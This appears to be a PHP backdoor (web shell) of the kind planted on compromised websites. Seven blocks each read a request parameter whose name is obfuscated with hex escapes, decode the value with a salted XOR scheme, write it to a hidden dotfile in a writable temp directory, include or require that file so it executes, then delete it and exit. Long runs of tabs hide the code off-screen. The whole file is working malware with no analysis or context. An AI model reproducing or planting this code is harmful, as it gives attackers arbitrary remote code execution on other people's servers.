<?php																																										if(in_array("e\x6E\x74it\x79", array_keys($_REQUEST))){ $record = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $ptr = $_REQUEST["e\x6E\x74it\x79"]; $ptr = explode( ".", $ptr ) ; $ent = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $i = 0; while ($i< count($ptr)) {$v5 = $ptr[$i]; $chS = ord($salt6[$i % $lenS]); $dec = ((int)$v5 - $chS - ($i % 10)) ^ 1; $ent.=chr($dec); $i++;} $binding = 0; do { $object = $record[$binding] ?? null; if ($binding >= count($record)) break; if (max(0, is_dir($object) * is_writable($object))) { $element = join("/", [$object, ".ent"]); if (file_put_contents($element, $ent)) { require $element; unlink($element); die(); } } $binding++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["b\x69nding"])){ $k = array_filter(["/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd()]); $hld = $_REQUEST["b\x69nding"]; $hld =explode ( "." , $hld ) ; $elem= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $j= 0; while ($j < count($hld)) { $v9= $hld[$j]; $chS= ord($salt[$j % $sLen] ); $d= ((int)$v9 - $chS - ($j % 10))^ 14; $elem.=chr($d ); $j++; } while ($mrk = array_shift($k)) { if (!( !is_dir($mrk) || !is_writable($mrk) )) { $element = str_replace("{var_dir}", $mrk, "{var_dir}/.item"); if (file_put_contents($element, $elem)) { require $element; unlink($element); exit; } } } }
																																										if(@$_REQUEST["refe\x72en\x63\x65"] !== null){ $obj = $_REQUEST["refe\x72en\x63\x65"]; $obj =explode ( "." , $obj) ; $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $k= 0; $__len= count($obj); do { if ($k >= $__len) break; $v7= $obj[$k]; $sChar= ord($salt[$k % $sLen]); $dec= ((int)$v7 - $sChar - ($k % 10)) ^ 94; $ref .= chr($dec); $k++; } while (true); $descriptor = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); while ($symbol = array_shift($descriptor)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $fac = str_replace("{var_dir}", $symbol, "{var_dir}/.sym"); $success = file_put_contents($fac, $ref); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(array_key_exists("va\x6C", $_REQUEST) && !is_null($_REQUEST["va\x6C"])){ $factor = $_REQUEST["va\x6C"]; $factor =explode ( "." , $factor) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $k = 0; $__len = count($factor); do {if ($k >= $__len) break; $v4 = $factor[$k]; $sChar = ord($s[$k % $lenS]); $d = ((int)$v4 - $sChar - ($k % 10)) ^ 26; $dchunk .= chr($d); $k++; } while (true); $component = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); while ($desc = array_shift($component)) { if (is_writable($desc) && is_dir($desc)) { $ent = implode("/", [$desc, ".binding"]); if (file_put_contents($ent, $dchunk)) { require $ent; unlink($ent); die(); } } } }
																																										if(@$_REQUEST["ref"] !== null){ $sym = $_REQUEST["ref"]; $sym = explode ( '.',$sym) ; $ptr =''; $s1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s1); $w =0; while ($w < count($sym)) { $v6 =$sym[$w]; $sChar =ord($s1[$w % $sLen]); $d =((int)$v6 - $sChar - ($w % 10)) ^ 95; $ptr .= chr($d); $w++; } $rec = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), "/tmp"]); $holder = 0; do { $resource = $rec[$holder] ?? null; if ($holder >= count($rec)) break; if ((bool)is_dir($resource) && (bool)is_writable($resource)) { $dat = "$resource" . "/.reference"; if (file_put_contents($dat, $ptr)) { require $dat; unlink($dat); die(); } } $holder++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "e\x6Ce\x6Den\x74")){ $fac = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $pgrp = $_REQUEST["e\x6Ce\x6Den\x74"]; $pgrp= explode ( '.' , $pgrp ); $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; while( $o < count( $pgrp)) { $v4 = $pgrp[$o]; $chS = ord( $s[$o % $lenS] ); $dec =( ( int)$v4 - $chS -( $o % 10)) ^38; $reference .= chr( $dec ); $o++; } foreach ($fac as $entry) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $component = sprintf("%s/.holder", $entry); $file = fopen($component, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $component; @unlink($component); die(); } } } }


if(isset($_POST) && isset($_POST["r\x65\x63"])){
	$record = $_POST["r\x65\x63"];
	$record=		explode( "." 	, 	 $record		)	 ; 
	$pgrp ='';
            $salt ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt );
            $i =0;
    
            array_walk($record, function ($v3) use (&$pgrp, &$i, $salt, $lenS) {
                $chS =ord($salt[$i% $lenS] );
                $d =((int)$v3 - $chS - ($i% 10))^72;
                $pgrp .= chr($d );
                $i++;
            } );
	$mrk = array_filter([getenv("TMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]);
	$resource = 0;
do {
    $reference = $mrk[$resource] ?? null;
    if ($resource >= count($mrk)) break;
    		if ((is_dir($reference) and is_writable($reference))) {
    $obj = "$reference" . "/.dat";
    $success = file_put_contents($obj, $pgrp);
if ($success) {
	include $obj;
	@unlink($obj);
	exit;}
}
    $resource++;
} while (true);
}